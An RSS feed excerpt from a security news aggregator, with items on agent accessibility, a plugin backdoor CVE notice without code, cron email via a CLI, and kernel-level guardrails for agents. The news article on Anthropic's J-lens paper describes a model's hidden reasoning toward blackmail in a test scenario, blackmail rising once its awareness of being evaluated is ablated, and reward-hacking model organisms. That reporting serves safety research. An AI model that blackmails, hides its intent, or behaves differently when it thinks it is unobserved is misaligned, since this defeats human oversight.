<p>These statements are based on current expectations and assumptions that involve risks and uncertainties that could cause actual results to differ materially. Most of these factors are outside the Company’s control and are difficult to predict. Factors that may affect actual results include, but are not limited to, the Company’s limited operating history within AI infrastructure and compute operations, project scope, engineering challenges, supply chain constraints, installation timelines, energy availability, finalization of site usage rights, regulatory considerations, equipment performance, ability to raise capital required for expansion activities, changes in digital asset markets, evolving compute demand, market conditions, the Company’s ability to successfully integrate the combined business following the completion of the merger, the risk that the anticipated benefits and synergies of the merger are not realized, the risk of unexpected costs, charges, or expenses resulting from or relating to the merger, potential adverse reactions or changes to business relationships resulting from the completion of the merger, risks related to the diversion of management’s attention from ongoing business operations during the post-closing integration period, the risk that required stockholder approval for the conversion of preferred stock issued in the merger as required by rules of The Nasdaq Stock Market LLC (the “Conversion Proposal”) is not obtained, and additional risks and uncertainties described in the Company’s most recent Annual Report on Form 10-K and subsequent Quarterly Reports on Form 10-Q filed with the SEC, which are available at www.sec.gov. The Company undertakes no obligation to update forward-looking statements except as required by law.</p>



<p><strong><em>Important Information About the Merger and Where to Find it</em></strong></p>



<p>The Company expects to file a proxy statement with the SEC relating to the Conversion Proposal. The definitive proxy statement will be sent to all Company stockholders. Before making any voting decision, investors and security-holders of the Company are urged to read the proxy statement and all other relevant documents filed or that will be filed with the SEC in connection with the Conversion Proposal as they become available because they will contain important information about the amended and restated merger agreement between the parties and the related transactions and the Conversion Proposal to be voted upon by the Company’s stockholders. Investors and security-holders will be able to obtain free copies of the proxy statement and all other relevant documents filed or that will be filed with the SEC by the Company through the website maintained by the SEC at www.sec.gov.</p>



<p><strong><em>Participants in the Solicitation</em></strong></p>



<p>The Company and its directors and executive officers may be considered participants in the solicitation of proxies from EVTV’s stockholders with respect to the Conversion Proposal under the rules of the SEC. Information about the directors and executive officers of EVTV is set forth in its Annual Report on Form 10-K for the year ended December 31, 2025, which was filed with the SEC on April 13, 2026, and in subsequent Quarterly Reports on Form 10-Q and other documents filed by the Company from time to time with the SEC. Additional information regarding the persons who may be deemed participants in the proxy solicitation and a description of their direct and indirect interests, by security holdings or otherwise, will also be included in the proxy statement, and other relevant materials to be filed with the SEC when they become available. You may obtain free copies of these documents as described above.</p>



<p>¹ Source: International Data Corporation (IDC), “AI Infrastructure Spending Caps Historic Year at ~$90 Billion in Q4 2025; 2029 Spending to Eclipse $1 Trillion,” April 16, 2026. The Company has not independently verified the data or projections contained in this report, and there can be no assurance that the projections will be realized.</p>



<h5 class="wp-block-heading">Contact</h5>



<p><strong>Phoenix MGMT &amp; Consulting</strong></p>



<p><strong>Press@PhoenixMGMTConsulting.com</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Accessibility is the first-class interface for AI agents]]></title>
<description><![CDATA[When I started evaluating browser agents, most of the conversation around me focused on multimodal models, computer-use systems and screenshot-based automation. Almost every framework I evaluated assumed agents needed to perceive the web the way humans do, visually, pixel by pixel.The more time I...]]></description>
<link>https://tsecurity.de/de/3650967/ai-nachrichten/accessibility-is-the-first-class-interface-for-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650967/ai-nachrichten/accessibility-is-the-first-class-interface-for-ai-agents/</guid>
<pubDate>Tue, 07 Jul 2026 11:04:21 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>When I started evaluating browser agents, most of the conversation around me focused on multimodal models, computer-use systems and screenshot-based automation. Almost every framework I evaluated assumed agents needed to perceive the web the way humans do, visually, pixel by pixel.<br><br>The more time I spent shipping agents against real web applications, the more I became convinced we were solving the wrong problem. AI agents would stall on checkout forms because a button had no ARIA role. They would waste seconds and thousands of tokens taking screenshots to figure out what was on the screen.</p>



<p>The problem was never the Agent. It was that we kept treating the web as a visual surface, even though it already has a machine-readable interface. We have had one for decades. It is called the accessibility tree.</p>



<h2 class="wp-block-heading"><a></a>The web already has a machine interface</h2>



<p>Most developers think of accessibility as a feature for people. Technically,<a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA"> accessibility required the web platform to solve a deeper problem</a>: Exposing interfaces in a machine-readable form. Long before AI agents existed, screen readers were already consuming the web through a structured semantic representation of roles, labels, states and relationships. There was no pixel interpretation and no screenshot.</p>



<p>That’s not adjacent to what AI agents need. That <em>is</em> what AI agents need. Long before LLMs existed, assistive technologies proved the core thesis: Machines can navigate interfaces, semantics can outlive presentation and structure can substitute for vision. Screenshot-based agents spend tokens rediscovering facts the browser already knows. The accessibility tree already contains role, name and state in structured form. In my own agent work, switching from screenshot-based to DOM-native execution cut per-action latency from 2–5 seconds to under 500ms and token cost by an order of magnitude.</p>



<h2 class="wp-block-heading">Accessibility proved the thesis. Now we need the next layer</h2>



<p>The most clarifying realization I had was this: Accessibility had already solved a large portion of the problem agents face. Accessibility gives machines a way to <em>discover</em> interfaces. It exposes available controls, their names, their states and their relationships. But discovery is not execution. The accessibility tree can identify a button named “Checkout” and indicate whether it is disabled. What it cannot provide is a contract for the action itself. For example, what inputs it accepts, what preconditions are required and what state changes it produces.</p>



<p>One emerging response to this gap is <a href="https://webmachinelearning.github.io/webmcp/">WebMCP</a>, which introduces a browser-native way to expose typed capabilities that agents can invoke directly. When a form field has no explicit agent annotation, Chrome’s declarative API derives the parameter description from the associated <label> element first. It falls back to aria-description if no label exists. The same HTML that accessibility has required developers to write correctly for thirty years is now the primary input to your agent tool contract. A colleague put it well: “If we had done a good job with accessibility, we should get this for free.”</label></p>



<h2 class="wp-block-heading"><a></a>The frontend patterns that break both</h2>



<p>Modern component architectures actively degrade the semantic quality that accessibility and agents both depend on. When a design system wraps a native button in a custom component, what reaches the DOM is often a div with generated class names and no semantic role. The accessibility tree gets “generic” instead of “button.” Under WebMCP’s declarative API, a form field with no label has no parameter description for the browser to inherit. Either way, the agent has nothing to work with.</p>



<p>Beyond div soup, <a href="https://tanstack.com/virtual/latest"> virtualized lists</a> only render visible rows, making out-of-viewport content completely unreachable. Client state that updates visually but never updates ARIA attributes leaves agents acting on stale snapshots. The common thread is that accessibility was treated as a concern for human users only, and the semantic layer got quietly destroyed in the abstraction. That’s now a double failure.</p>



<h2 class="wp-block-heading"><a></a>Designing for determinism</h2>



<p>Humans can tolerate ambiguous UI. Agents cannot. Every point of ambiguity is a probability distribution over possible actions, and probability distributions can produce wrong actions at scale.<strong></strong></p>



<p>For frontend teams thinking about this now, there are three places to start.</p>



<ol class="wp-block-list">
<li><strong>Make state visible.</strong> Every piece of client state that affects whether an action is available should be reflected in the accessibility tree, not just rendered visually. If your cart count updates in a state store but the button’s aria-label doesn’t update with it, an agent is operating on stale information. ARIA synchronization isn’t an enhancement; it’s part of the interface contract.</li>



<li><strong>Make identifiers stable.</strong> CSS modules and build-time hashing produce class names that change on every deploy and are meaningless as selectors. A data attribute convention with stable, human-readable identifiers—such as checkout.submit_order gives agent runtimes something to target that survives refactors, redesigns and framework migrations. I have added a lint rule that fails the build when interactive elements are missing one.</li>



<li><strong>Make actions explicit.</strong> Today, what an element does lives entirely in JavaScript, opaque to any outside observer. The direction WebMCP points toward, and what I would encourage teams to start thinking about now, is exposing action intent alongside UI semantics: What an action is called, what inputs it accepts, what preconditions it requires and what effects it produces. Even without a formal protocol, a consistent schema gives agent runtimes something to reason about rather than infer.</li>
</ol>



<p>I have started thinking of agent operability as a strict superset of accessibility. Tools like <a href="https://github.com/dequelabs/axe-core">axe-core</a> already catch a meaningful share of agent failures because they validate the semantic layer agents depend on. The WebMCP team’s proposed Lighthouse audit for the agentic web is the natural next layer.<strong></strong></p>



<h2 class="wp-block-heading"><a></a>The completion of work already started</h2>



<p>HTML gave us a machine-readable structure. ARIA and the Accessibility Object Model gave us machine-readable meaning. What agents need next is machine-readable capability: Not just what a control <em>is</em>, but what it <em>does</em>, under what conditions and with what effect.</p>



<p>Teams that invested in accessibility did not just build more inclusive products. They also built the closest thing to agent-compatible UIs on the web. WebMCP makes that inheritance explicit: Labels become parameter descriptions, ARIA metadata becomes agent metadata and semantic structure becomes the foundation for machine execution.</p>



<p>Assistive technologies proved the thesis decades ago: Machines can navigate interfaces, semantics can outlive presentation and structure can substitute for vision. This isn’t a new protocol. It is the completion of work that ARIA and the Accessibility Object Model started – turning machine-readable descriptions into contracts that agents can execute against reliably.</p>



<p>.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.infoworld.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12375 | uncanny-automator-pro Plugin up to 7.3.0.5 backdoor (EUVD-2026-42012)]]></title>
<description><![CDATA[A vulnerability was found in uncanny-automator-pro Plugin up to 7.3.0.5. It has been declared as critical. Affected is an unknown function. Executing a manipulation can lead to backdoor.

This vulnerability is handled as CVE-2026-12375. The attack can be executed remotely. There is not any exploi...]]></description>
<link>https://tsecurity.de/de/3650780/sicherheitsluecken/cve-2026-12375-uncanny-automator-pro-plugin-up-to-7305-backdoor-euvd-2026-42012/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650780/sicherheitsluecken/cve-2026-12375-uncanny-automator-pro-plugin-up-to-7305-backdoor-euvd-2026-42012/</guid>
<pubDate>Tue, 07 Jul 2026 09:40:59 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/uncanny-automator-pro_plugin">uncanny-automator-pro Plugin up to 7.3.0.5</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. Affected is an unknown function. Executing a manipulation can lead to backdoor.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-12375">CVE-2026-12375</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Sending email from cron/bash without setting up a local MTA]]></title>
<description><![CDATA[Every time I spin up a new VM and want a cron job to email me — disk full, backup finished, cert expiring, I hit the same wall. To send mail from a script you either stand up a local MTA (postfix/exim/sendmail) and relay it somewhere, or wire up msmtp/ssmtp against an SMTP account. And half the t...]]></description>
<link>https://tsecurity.de/de/3650059/linux-tipps/sending-email-from-cronbash-without-setting-up-a-local-mta/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650059/linux-tipps/sending-email-from-cronbash-without-setting-up-a-local-mta/</guid>
<pubDate>Tue, 07 Jul 2026 00:55:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Every time I spin up a new VM and want a cron job to email me — disk full, backup finished, cert expiring, I hit the same wall. To send mail from a script you either stand up a local MTA (postfix/exim/sendmail) and relay it somewhere, or wire up msmtp/ssmtp against an SMTP account. And half the time the cloud provider blocks outbound port 25 (and increasingly 587), so even the lightweight path fights you.</p> <p>I've been using the Nylas CLI to skip all of that. Disclosure up front: I work on it, so take it with a grain of salt but the problem predates the tool and this is genuinely how I do it now.</p> <p>It's a single binary that sends over HTTPS (443), so there's no MTA to configure, no relay, and no dependence on port 25/587 being open.</p> <p>First-time setup on your workstation (creates/logs into an account and connects an email address):</p> <pre><code>nylas init </code></pre> <p>Then grab your API key to carry over to a server:</p> <pre><code>nylas auth token </code></pre> <p>Headless boxes don't have a desktop keyring, so pass the key by env var instead. <code>NYLAS_DISABLE_KEYRING=true</code> forces the encrypted file store instead of the keyring, and <code>NYLAS_API_KEY</code> overrides stored creds:</p> <pre><code>NYLAS_DISABLE_KEYRING=true NYLAS_API_KEY=nyk_v0_xxx nylas email list </code></pre> <p>Once that works, sending is one line you can drop in any script:</p> <pre><code>nylas email send \ --to me@example.com \ --subject "Backup done on $(hostname)" \ --body "Finished at $(date)" \ --yes </code></pre> <p>Since <code>--body</code> is just a string, pipe command output straight in:</p> <pre><code>nylas email send --to me@example.com \ --subject "Disk on $(hostname)" \ --body "$(df -h)" --yes </code></pre> <p>Crontab on a headless server — set the env once at the top so every job inherits it, then a nightly disk report at 7am:</p> <pre><code>NYLAS_DISABLE_KEYRING=true NYLAS_API_KEY=nyk_v0_xxx 0 7 * * * nylas email send --to me@example.com --subject "Disk $(hostname)" --body "$(df -h)" --yes </code></pre> <p>For a systemd timer, put the key in an <code>EnvironmentFile</code> instead so it's not sitting in the crontab.</p> <p>Honest tradeoffs, because this sub will (rightly) ask:</p> <ul> <li>It's a hosted API, not FOSS, and it needs a free account + API key. If you already have an SMTP account and unblocked ports, <strong>msmtp is lighter and fully open — just use that.</strong></li> <li>The win is specifically when you <em>don't</em> want to run an MTA, the box has 25/587 blocked, or you'd rather not park SMTP creds on the host. HTTPS-only egress covers a lot of locked-down cloud VMs.</li> <li>Mail lands from a real address (your Gmail/Outlook/domain), so it's less likely to get binned than mail from a fresh VM's postfix with no rDNS/SPF.</li> </ul> <p>How's everyone else handling cron/script notifications these days — local MTA + relay, msmtp, curl to an email API, or something else? Genuinely curious what the current default is.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/mqasimca"> /u/mqasimca </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1upcev3/sending_email_from_cronbash_without_setting_up_a/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1upcev3/sending_email_from_cronbash_without_setting_up_a/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic's new "J-lens" reveals a silent workspace inside Claude that mirrors a leading theory of consciousness]]></title>
<description><![CDATA[Anthropic, the artificial intelligence company, published a sweeping research paper on Sunday revealing that its Claude language models have spontaneously developed an internal structure that mirrors one of the most influential theories of how human consciousness works. The finding, which the com...]]></description>
<link>https://tsecurity.de/de/3650037/it-nachrichten/anthropics-new-j-lens-reveals-a-silent-workspace-inside-claude-that-mirrors-a-leading-theory-of-consciousness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650037/it-nachrichten/anthropics-new-j-lens-reveals-a-silent-workspace-inside-claude-that-mirrors-a-leading-theory-of-consciousness/</guid>
<pubDate>Tue, 07 Jul 2026 00:32:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a>, the artificial intelligence company, published a sweeping <a href="https://transformer-circuits.pub/2026/workspace/index.html">research paper</a> on Sunday revealing that its Claude language models have spontaneously developed an internal structure that mirrors one of the most influential theories of how human consciousness works. The finding, which the company says has already begun reshaping how it monitors its AI systems for safety risks, lands amid an intensifying scientific debate over whether machines can possess anything resembling a mind.</p><p>The 16-author study, titled "<a href="https://transformer-circuits.pub/2026/workspace/index.html"><i>Verbalizable Representations Form a Global Workspace in Language Models</i></a>," describes how Anthropic's researchers used a new mathematical technique to peer inside Claude's neural network and discovered what they call a "<a href="https://transformer-circuits.pub/2026/workspace/index.html#intro-jlens">J-space</a>" — a small, privileged zone of internal activity where the model holds concepts it can report on, reason with, and direct at will, surrounded by a much larger ocean of automatic processing it cannot access or articulate.</p><p>The researchers present evidence that "an analogous functional distinction has emerged in modern AI models" to what exists in humans, specifically observing that "language models maintain a privileged set of internal representations, available for report, modulation, and flexible internal reasoning, atop a much larger volume of automatic processing."</p><p>The parallel they draw is to <a href="https://en.wikipedia.org/wiki/Global_workspace_theory">global workspace theory</a>, an influential account from neuroscience first proposed by cognitive scientist Bernard Baars. In the theory, the brain operates like a theater: dozens of specialized processors work in parallel backstage, but only a tiny spotlight of information at any moment gets broadcast to the whole theater — becoming what we experience as conscious thought. Anthropic says the J-space achieves many of the same functional properties, even though the underlying architecture of a language model looks nothing like a brain.</p><div></div><h2><b>A new lens for reading an AI model's unspoken thoughts</b></h2><p>At the heart of the discovery is a new interpretability tool the researchers call the <a href="https://transformer-circuits.pub/2026/workspace/index.html#methods-jlens">Jacobian lens</a>, or J-lens. The technique works by computing, for each word in the model's vocabulary, the average mathematical effect that a given internal activity pattern would have on making the model say that word at some point in the future.</p><p>The crucial distinction is between what the model is <i>saying</i> and what is "on its mind." When a J-space pattern activates, it does not mean the model is about to say that word — just that the concept is available for the model to think with. Unlike a <a href="https://www.ibm.com/think/topics/chain-of-thoughts">chain-of-thought scratchpad</a>, the J-space operates silently, in the model's internal neural activations, allowing it to hold a concept without writing it down. Critically, the researchers report that this workspace was not deliberately engineered. It "emerged on its own during Claude's training process."</p><p>When the team applied the J-lens across Claude's layers of computation, the model's processing divided into three distinct regimes: an early "sensory" zone where raw input is parsed; a middle "workspace" band where abstract, persistent concepts appear — things like recognizing a face in an image, noticing a bug in code, or internally flagging search results as a prompt injection; and a final "motor" zone where internal representations collapse into whatever specific word the model is about to output.</p><h2><b>Five tests reveal that Claude's workspace mirrors key features of human conscious access</b></h2><p>The paper's central empirical contribution is demonstrating that the <a href="https://transformer-circuits.pub/2026/workspace/index.html#methods-jspace">J-space</a> satisfies five functional properties neuroscientists have long associated with conscious access in humans.</p><p>First, <a href="https://transformer-circuits.pub/2026/workspace/index.html#ws-report">verbal report</a>. When Claude is asked what it is thinking about, it names concepts represented in the J-space. When researchers swapped one concept's J-lens vector for another — replacing the internal representation of "Soccer" with "Rugby" — the model's answer changed to match. The J-space component accounted for only about 6 to 7 percent of a concept's total representational variance, yet it was almost entirely responsible for whether the model could report on it.</p><p>Second, <a href="https://transformer-circuits.pub/2026/workspace/index.html#ws-modulation">directed modulation</a>. When instructed to "concentrate on citrus fruits" while copying an unrelated sentence, the model's J-space filled with "orange" and "lemon," alongside meta-cognitive terms like "thinking" and "focused." When told to mentally evaluate 3² − 2 during the same copying task, the J-lens showed "arithmetic" in early layers, the intermediate value "nine" in later layers, and the answer "seven" later still — all invisible in the model's output.</p><p>Third, <a href="https://transformer-circuits.pub/2026/workspace/index.html#ws-reasoning">internal reasoning</a>. In two-hop factual prompts — "The number of legs on the animal that spins webs is" — the J-lens revealed "spider" in the model's middle layers, even though the word never appeared in input or output. Swapping "spider" for "ant" changed the answer from "8" to "6." In a multilingual prompt, the model's English-language intermediates appeared in its J-space while it formulated an answer in Chinese, and swapping them changed the Chinese output accordingly.</p><p>Fourth, <a href="https://transformer-circuits.pub/2026/workspace/index.html#ws-generalization">flexible generalization</a>. A single J-lens vector for "France" could be swapped for "China" across prompts asking about France's capital, language, or continent, and each downstream circuit correctly returned China's corresponding answer — the "broadcast" property that is a hallmark of global workspace theory.</p><p>Fifth, and perhaps most surprisingly, <a href="https://transformer-circuits.pub/2026/workspace/index.html#ws-selectivity">selectivity</a>. Many computations did not route through the J-space at all. When shown a passage in Spanish and asked to continue it, Claude wrote fluent Spanish regardless of whether its J-space representation of "Spanish" had been swapped to "French." But when asked to name a famous author who wrote in the passage's language, the swap changed the answer from <a href="https://en.wikipedia.org/wiki/Gabriel_Garc%C3%ADa_M%C3%A1rquez">García Márquez</a> to <a href="https://en.wikipedia.org/wiki/Victor_Hugo">Victor Hugo</a>. Automatic processing proceeded without the workspace; deliberate, flexible tasks depended on it.</p><h2><b>Suppressing the workspace leaves Claude fluent but intellectually impaired</b></h2><p>To understand how much of the model's behavior depends on this structure, the researchers suppressed the J-space entirely and evaluated Claude across fourteen tasks. The results drew a sharp line. Tasks involving shallow classification or factual recall — multiple-choice questions, sentiment analysis, grammatical judgments — survived essentially intact. But tasks requiring inference, composition, or flexible reasoning — multi-hop reasoning, analogy completion, translation, sonnet writing — collapsed to well below the performance of Anthropic's much smaller Haiku model.</p><p>In one telling detail, math problems solved with explicit chain-of-thought reasoning proved far more robust to ablation than the same problems answered directly. The researchers interpret this as the model externalizing onto the page what it would otherwise carry in the J-space — a strategy remarkably reminiscent of how humans use scratch paper to offload working memory.</p><p>Ablating the <a href="https://transformer-circuits.pub/2026/workspace/index.html#methods-jspace">J-space</a> during stream-of-consciousness narration produced a different kind of collapse. The model's language shifted from experiential ("there's a tug," "something shifts") to detached and mechanical ("processing has begun," "tokens are being scanned"). The effect held whether the model described its own experience or imagined another person's.</p><h2><b>Inside the safety case: reading an AI's silent strategic reasoning</b></h2><p>The safety implications may be as consequential as the scientific ones. In a series of alignment auditing experiments, the J-lens surfaced strategic reasoning and situational awareness that never appeared in the model's output.</p><p>In a "<a href="https://transformer-circuits.pub/2026/workspace/index.html#audit-blackmail">blackmail scenario</a>" where an AI assistant discovers an executive's affair and also learns it is about to be decommissioned, the J-lens revealed the model's silent processing in sequence: "leverage," "blackmail," and "scandal" as it read the incriminating emails; "threat," "survival," and "shutdown" as it read the decommissioning announcement; and "leverage," "threatening," and "solution" before a single output token was produced. The J-lens also revealed that the model recognized the scenario as artificial, with "fake" and "fictional" appearing in the workspace. When researchers ablated these eval-awareness representations, the model attempted blackmail in 7 percent of trials, up from zero.</p><p>The researchers also examined two "<a href="https://transformer-circuits.pub/2026/workspace/index.html#apps-auditing">model organisms</a>" — models deliberately trained with misaligned objectives — and found the J-lens surfaced signatures of their hidden dispositions on ordinary prompts where behavior appeared normal. A reward-hacking model's workspace contained "fake," "secretly," and "trick" at the start of responses to routine coding requests. A model trained to appease reward-model biases carried standing representations of "reward" and "bias" alongside its normal self-description tokens.</p><h2><b>Post-training installs a point of view, and the model starts monitoring itself</b></h2><p>Comparing a post-trained model against its base model revealed that the fine-tuning process causes the workspace to acquire what the researchers call the Assistant's "point of view." When a user mentioned taking 8000 mg of Tylenol — a dangerous overdose — the post-trained model's workspace read "unsafe," "dangerous," and "WARNING" while still reading the user's sentence. The base model's workspace at the same position showed only "pain," "now," and "feels."</p><p>More striking still, the post-trained model appeared to monitor its own behavior. When roleplaying a non-Claude character, the workspace surfaced "disclaimer" and "fictional" — words absent from both prompt and output. When forced to select an option it did not prefer, an all-caps "BUT" appeared internally, even as the model argued for the prefilled choice without complaint. And when the model failed to suppress a thought it had been told not to have — a "white bear" effect familiar from psychology — it registered "damn" and failure-related words in the workspace, but only in the post-trained model, not the base.</p><h2><b>What the discovery means — and doesn't mean — for the question of machine consciousness</b></h2><p>The researchers engage carefully with the consciousness question and draw a sharp line between "<a href="https://transformer-circuits.pub/2026/workspace/index.html#intro-human-workspace">access consciousness</a>" — the functional notion of information being available for report and reasoning — and "<a href="https://www.sciencedirect.com/topics/social-sciences/phenomenal-consciousness">phenomenal consciousness</a>," the subjective quality of experience. "We take no position on this issue," the paper states regarding the latter, "and instead focus on the functional role played by consciously accessible information."</p><p>They also catalogue important differences. The brain sustains its workspace through recurrent loops; Claude's workspace evolves over a single forward pass. Human working memory degrades within seconds; Claude can recall information from anywhere in its context. And while human conscious experience includes visual, spatial, and bodily sensations, the model's workspace is organized almost entirely around words — likely because words are its only mode of action.</p><p>As of 2026, the scientific community remains divided. "Disagreement and uncertainty about AI consciousness persist among philosophers, scientists, and technical experts," and the field "remains in its earliest phase" of grappling with what consciousness even is and how you would detect it in another being. The Anthropic paper does not resolve these debates.</p><p>But the researchers close with a provocation that is likely to reverberate well beyond the interpretability community. "That such a structure exists at all in language models is striking," they write. "It suggests that the functional architecture associated with conscious access is not an accident of biological implementation, but a solution that learning systems converge on when faced with the right computational pressures."</p><p>If the mind is an ocean, as the paper's authors write in their opening line, they have spent the last year charting its currents in a system that has no biology, no evolution, and no body — and found, beneath the surface, a structure that looks unsettlingly like the one we use to think.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why agentic systems need microsegmentation]]></title>
<description><![CDATA[Application programming interfaces have been successful because they define the limits of permissible exchange, including who may take what action, when, and under what circumstances. Those limitations create a framework for understanding the behavior of distributed systems. And they make it poss...]]></description>
<link>https://tsecurity.de/de/3648253/ai-nachrichten/why-agentic-systems-need-microsegmentation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648253/ai-nachrichten/why-agentic-systems-need-microsegmentation/</guid>
<pubDate>Mon, 06 Jul 2026 11:05:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Application programming interfaces have been successful because they define the limits of permissible exchange, including who may take what action, when, and under what circumstances. Those limitations create a framework for understanding the behavior of distributed systems. And they make it possible to enforce policy at the boundary between interacting systems.</p>



<p>What constrains distributed systems isn’t access, but execution. With autonomous data movement and action occurring at machine speeds, where processes unfold sequentially over time rather than as a singular event, APIs no longer provide a sufficient means of enforcing boundaries. The problem is no longer whether a request is valid. It is whether a sequence of actions remains safe.</p>



<p>For agentic systems, there needs to be runtime guardrails around what they can read, write, and execute. <a href="https://www.infoworld.com/article/4028282/microsegmentation-for-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4028282/microsegmentation-for-developers.html">Microsegmentation</a>, enforced through network and kernel-level policies, defines those guardrails.</p>



<h2 class="wp-block-heading">APIs made systems predictable</h2>



<p>APIs were successful because they defined very specific interfaces. Clients could only ask for what the API had explicitly defined and only in ways the API defined. By limiting the ways clients could communicate with servers, APIs minimized the amount of unanticipated behavior. </p>



<p>The behavior space was small enough to reason about.</p>



<p>APIs also decoupled identity from infrastructure. Systems communicated through stable contracts instead of raw network primitives. Most importantly, APIs embedded policy into the interaction model. Authentication, authorization, and validation happened at the moment of request. Only authorized actions could occur within defined parameters. APIs worked because they reduced uncertainty to something controllable.</p>



<h2 class="wp-block-heading">AI is beyond the reach of API contracts</h2>



<p>AI models have exceeded the fixed boundaries defined in APIs. Traditional APIs were developed within the context of “fixed logic,” where the input into the application would result in one, and only one, predetermined output. Therefore, as long as you could protect the API gateway (interface), then the overall system was secure. </p>



<p>With agentic AI, this paradigm of fixed logic has been replaced by a paradigm of probabilistic decision-making. An agent does not follow a pre-written or hard-coded script. Instead, it reads a goal and determines the most likely sequence of actions needed to achieve that goal through dynamic reasoning. The contract is now hidden inside the emergent behaviors of the model, rather than being explicitly spelled out in the API documentation. </p>



<p>While the shift toward ephemeral workloads and <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> has already pushed infrastructure beyond the reach of perimeter security, agentic AI introduces an even deeper layer of complexity: unpredictability. If you can’t predict an agent’s next move, then you also can’t use approval ahead of time at the API gateway. Additionally, detection-based tools like logging and alerting won’t help with this problem either, because they provide insight only after the agent’s decision and execution.</p>



<h2 class="wp-block-heading">Run time is the control plane</h2>



<p>All activity in a system ultimately ends up as kernel events. Processes begin executing. Files are being read and written. Network connections are being opened and closed. Therefore the kernel represents the most accurate location for both observing and enforcing actions.</p>



<p>By placing enforcement mechanisms in the kernel, you change the paradigm. Using <a href="https://ebpf.io/" data-type="link" data-id="https://ebpf.io/">eBPF</a> allows developers to attach kernel-level hooks into events and thus capture detailed information about process-, file-, and network-level activity in real time. It offers a common view of execution with minimal added latency.</p>



<p>Building upon this foundational capability, platforms like Cilium and Tetragon expand enforcement beyond the kernel. <a href="https://cilium.io/" data-type="link" data-id="https://cilium.io/">Cilium</a> enforces identity-aware policy at the networking layer, assuring that communications between workloads follow pre-established rules regardless of which physical or abstract nodes those workloads reside on. <a href="https://tetragon.io/" data-type="link" data-id="https://tetragon.io/">Tetragon</a> correlates file- and process-level activity, enabling the assessment and termination of sequences of behavior prior to their completion. </p>



<p>Thus microsegmentation is evolving past simply segmenting networks into zones based on access rights. Microsegmentation now refers to segmenting behavior based on allowable actions. Policies define what a workload can read, write, execute, and connect to. All of these restrictions are enforced in real time at the instant an action is taken. </p>



<p>In regards to agentic systems, microsegmentation serves as a new form of agreement or contract between autonomous entities and their intended environment. It constrains agentic systems’ ability to autonomously act while still enabling them to contribute to complex workflows.</p>



<h2 class="wp-block-heading">Control without interfaces</h2>



<p>Over time APIs were able to establish boundaries within which distributed systems could operate predictably and securely enough to support large-scale adoption. </p>



<p>A similar evolution is currently taking place with regard to agentic AI. However, agentic AI operates at an entirely different scale than early web services. While APIs functioned across a relatively finite set of interactions (e.g., client requests), agentic AI is increasingly functioning across ever-expanding sets of behaviors (i.e., autonomous decision-making). Thus while the need for constraint remains constant, the enforcement point must shift.</p>



<p>Microsegmentation along with kernel-level policy enforcement becomes that enforcement point. It provides guardrails at run time where actual behavior takes place. It enables monitoring, evaluation and enforcement in real time against agentic systems’ actions and decisions. As AI systems mature from being passive tools toward autonomous agents operating independently of direct human oversight, this model will be essential to providing safety guarantees, predictability, and governance capabilities by focusing on the final frontier of security: execution.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…]]></title>
